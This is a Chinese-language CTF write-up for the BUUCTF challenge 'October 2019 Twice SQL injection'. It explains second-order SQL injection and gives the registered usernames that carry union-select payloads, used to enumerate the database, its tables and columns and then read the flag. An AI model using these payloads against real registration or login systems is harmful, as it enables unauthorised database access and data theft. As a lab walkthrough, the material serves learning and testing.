自学内容网 自学内容网

BUUCTF_Web(October 2019 Twice SQL injection)

October 2019 Twice SQL injection

知识点:

二次注入:

当用户提交的恶意数据被存入数据库后,应用程序再把它读取出来用于生成新的SQL语句时,如果没有相应的安全措施,是有可能发生SQL注入的,这种注入就叫做二次注入。

二次注入,可以概括为以下两步:

第一步:插入恶意数据
进行数据库插入数据时,网站对我们输入的恶意语句中的一些重要的关键字进行了转义,使恶意的sql注入无法执行(比如说将单引号转义,使其无法闭合),在写入数据库的时候又保留了原来的数据,被还原成转义之前的语句。

第二步:引用恶意数据
开发者默认存入数据库的数据都是安全的,在进行查询时,直接从数据库中取出恶意数据,没有进行进一步的检验的处理。
 

题目内容:

存在两个注入点,注册和改info

1、可以注册新用户

2、可以登录

3、可以跳转info

题目解析:

1.注册一个用户名为:1'的用户,然后登录后在info页面发现没有数据,相当于报错。

再注册一个用户名为:1的用户,然后登录后在info页面发现有数据

猜测可能是单引号闭合。

2.二次注入

二次注入是一次注入通过两次操作实现,注册和登陆。

  1. 注册恶意用户名

  2. 登陆, 在登陆过程中,肯定要将我们输入的数据和数据库进行比对,而在这个查询数据库中的用户名进行比对的这个过程中,会执行我们插入数据库的用户名(也就是恶意sql注入语句)

在info界面得到结果。

重新注册账号为admin' union select database()#,密码123(此处此方法无用,账号必须是数字,)

注册账号为1' union select database()#,密码为123

重新登录,发现显示database()数据库名为ctftraining

1' union select group_concat(table_name) from information_schema.tables where table_schema='ctftraining' #

1' union select group_concat(column_name) from information_schema.columns where table_name='flag'#

同上注册,登陆,得flag


1' union select flag from flag #

or

1' union select group_concat(flag) from ctftraining.flag #

注:

转义字符 / 加在‘ “ #)前面的。

step 1:admin/'/# 存在于网站给数据库服务器发送请求的时候存在

step2:但是存入数据库的时候他不存在了存储的是 admin'#

 参考链接:https://blog.csdn.net/weixin_44940180/article/details/107859557

 参考链接:https://blog.csdn.net/AAAAAAAAAAAA66/article/details/122059073


原文地址:https://blog.csdn.net/2401_87524087/article/details/145238949

免责声明:本站文章内容转载自网络资源,如侵犯了原著者的合法权益,可联系本站删除。更多内容请关注自学内容网(zxcms.com)!